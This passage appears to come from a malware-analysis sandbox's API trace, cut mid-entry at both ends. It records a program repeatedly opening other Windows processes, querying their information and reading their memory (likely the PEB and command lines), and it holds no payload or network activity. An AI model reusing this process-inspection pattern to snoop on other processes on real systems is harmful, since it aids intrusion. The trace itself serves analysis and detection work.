hProcess=0xa9c, lpBaseAddress=0x249020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.597] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403360, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.597] malloc (_Size=0x84) returned 0xe88240 [0357.597] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4039e8, lpBuffer=0xe88240, nSize=0x82, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe88240*, lpNumberOfBytesRead=0x0) returned 1 [0357.598] free (_Block=0xe88240) [0357.598] CloseHandle (hObject=0xa9c) returned 1 [0357.599] _ui64tow_s (in: _Value=0x8e0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2272") returned 0x0 [0357.599] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2272") returned 4 [0357.599] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.599] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.600] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8e0) returned 0xa9c [0357.600] GetLastError () returned 0x0 [0357.600] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.600] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.601] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.601] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422560, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.601] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422228, lpBuffer=0x5ec5a0, nSize=0x3e, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.601] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.601] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.601] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3b1020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.601] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x421be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.602] malloc (_Size=0x18) returned 0xec9600 [0357.602] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x422266, lpBuffer=0xec9600, nSize=0x16, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xec9600*, lpNumberOfBytesRead=0x0) returned 1 [0357.602] free (_Block=0xec9600) [0357.602] CloseHandle (hObject=0xa9c) returned 1 [0357.630] _ui64tow_s (in: _Value=0x8f0, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2288") returned 0x0 [0357.631] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2288") returned 4 [0357.631] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0xcc877a17, dwBuildNumber=0x7fff, dwPlatformId=0x15aacc0, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.631] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.632] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x8f0) returned 0xa9c [0357.632] GetLastError () returned 0x0 [0357.632] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.632] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.632] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.632] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.632] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.633] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.633] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.633] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c8020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.633] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.633] malloc (_Size=0x6a) returned 0xea8ba0 [0357.633] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea8ba0, nSize=0x68, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea8ba0*, lpNumberOfBytesRead=0x0) returned 1 [0357.634] free (_Block=0xea8ba0) [0357.634] CloseHandle (hObject=0xa9c) returned 1 [0357.634] _ui64tow_s (in: _Value=0x944, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2372") returned 0x0 [0357.635] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2372") returned 4 [0357.635] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.635] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.636] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x944) returned 0xa9c [0357.636] GetLastError () returned 0x0 [0357.636] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.636] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.636] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.636] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5225e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.636] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x522228, lpBuffer=0x5ec5a0, nSize=0x44, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.636] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.637] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.637] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x228020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.637] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x521be0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.637] malloc (_Size=0x6c) returned 0xea9120 [0357.637] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x52226c, lpBuffer=0xea9120, nSize=0x6a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9120*, lpNumberOfBytesRead=0x0) returned 1 [0357.638] free (_Block=0xea9120) [0357.638] CloseHandle (hObject=0xa9c) returned 1 [0357.638] _ui64tow_s (in: _Value=0xa64, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2660") returned 0x0 [0357.638] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2660") returned 4 [0357.639] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.639] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.639] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xa64) returned 0xa9c [0357.639] GetLastError () returned 0x0 [0357.640] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.640] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.640] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.640] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x5525c0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.640] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552248, lpBuffer=0x5ec5a0, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.640] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.640] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.640] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x3c3020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.641] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x551c00, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.641] malloc (_Size=0x32) returned 0xe72270 [0357.641] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x552278, lpBuffer=0xe72270, nSize=0x30, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe72270*, lpNumberOfBytesRead=0x0) returned 1 [0357.641] free (_Block=0xe72270) [0357.642] CloseHandle (hObject=0xa9c) returned 1 [0357.642] _ui64tow_s (in: _Value=0xad8, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2776") returned 0x0 [0357.642] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2776") returned 4 [0357.642] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.642] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.643] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xad8) returned 0xa9c [0357.643] GetLastError () returned 0x0 [0357.643] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.643] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.643] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.643] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403de0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.644] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x40, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.644] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.644] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.644] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x341020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.644] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4033f0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.644] malloc (_Size=0x72) returned 0xea9420 [0357.644] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a78, lpBuffer=0xea9420, nSize=0x70, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea9420*, lpNumberOfBytesRead=0x0) returned 1 [0357.645] free (_Block=0xea9420) [0357.645] CloseHandle (hObject=0xa9c) returned 1 [0357.646] _ui64tow_s (in: _Value=0x924, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="2340") returned 0x0 [0357.646] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="2340") returned 4 [0357.646] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.646] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.647] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0x924) returned 0xa9c [0357.647] GetLastError () returned 0x0 [0357.647] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.647] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.647] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.647] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x4724e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.647] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472118, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.648] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.648] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.648] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x284020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.648] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x471ad0, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.648] malloc (_Size=0x76) returned 0xea97a0 [0357.648] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x472164, lpBuffer=0xea97a0, nSize=0x74, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xea97a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.649] free (_Block=0xea97a0) [0357.649] CloseHandle (hObject=0xa9c) returned 1 [0357.649] _ui64tow_s (in: _Value=0xbbc, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3004") returned 0x0 [0357.649] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3004") returned 4 [0357.649] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.650] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.650] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xbbc) returned 0xa9c [0357.650] GetLastError () returned 0x0 [0357.650] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x14041e0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403c76, lpBuffer=0x5ec5a0, nSize=0xd4, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.651] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.651] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.651] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1075020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec330*, lpNumberOfBytesRead=0x0) returned 1 [0357.652] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403590, lpBuffer=0x5ec380, nSize=0x440, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec380*, lpNumberOfBytesRead=0x0) returned 1 [0357.652] malloc (_Size=0x14c) returned 0xe9a170 [0357.652] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x1403d4a, lpBuffer=0xe9a170, nSize=0x14a, lpNumberOfBytesRead=0x0 | out: lpBuffer=0xe9a170*, lpNumberOfBytesRead=0x0) returned 1 [0357.653] free (_Block=0xe9a170) [0357.653] CloseHandle (hObject=0xa9c) returned 1 [0357.653] _ui64tow_s (in: _Value=0xc1c, _Buffer=0x5ed780, _BufferCount=0x104, _Radix=10 | out: _Buffer="3100") returned 0x0 [0357.654] _vsnwprintf (in: _Buffer=0x5ed290, _BufferCount=0x103, _Format="%lu", _ArgList=0x5ec818 | out: _Buffer="3100") returned 4 [0357.654] GetVersionExW (in: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="") | out: lpVersionInformation=0x5ec8e0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0xa, dwMinorVersion=0x0, dwBuildNumber=0x4a61, dwPlatformId=0x2, szCSDVersion="")) returned 1 [0357.654] _vsnwprintf (in: _Buffer=0x5ed4a0, _BufferCount=0x103, _Format="%d.%d.%hu", _ArgList=0x5ec818 | out: _Buffer="10.0.19041") returned 10 [0357.655] OpenProcess (dwDesiredAccess=0x410, bInheritHandle=0, dwProcessId=0xc1c) returned 0xa9c [0357.655] GetLastError () returned 0x0 [0357.655] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec878, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec878, ReturnLength=0x0) returned 0x0 [0357.655] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c018, lpBuffer=0x5ec848, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec848*, lpNumberOfBytesRead=0x0) returned 1 [0357.655] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x7fffccb994e0, lpBuffer=0x5ec830, nSize=0x8, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec830*, lpNumberOfBytesRead=0x0) returned 1 [0357.655] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403df0, lpBuffer=0x5ecc60, nSize=0x120, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ecc60*, lpNumberOfBytesRead=0x0) returned 1 [0357.655] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x403a38, lpBuffer=0x5ec5a0, nSize=0x4c, lpNumberOfBytesRead=0x0 | out: lpBuffer=0x5ec5a0*, lpNumberOfBytesRead=0x0) returned 1 [0357.656] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x1, ProcessInformation=0x5ec8a8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec8a8, ReturnLength=0x0) returned 0x0 [0357.656] NtQueryInformationProcess (in: ProcessHandle=0xa9c, ProcessInformationClass=0x0, ProcessInformation=0x5ec348, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x5ec348, ReturnLength=0x0) returned 0x0 [0357.656] ReadProcessMemory (in: hProcess=0xa9c, lpBaseAddress=0x27c020, lpBuffer=0x5ec330, nSize=0x8, lpNumberOfBytesRead=0x0 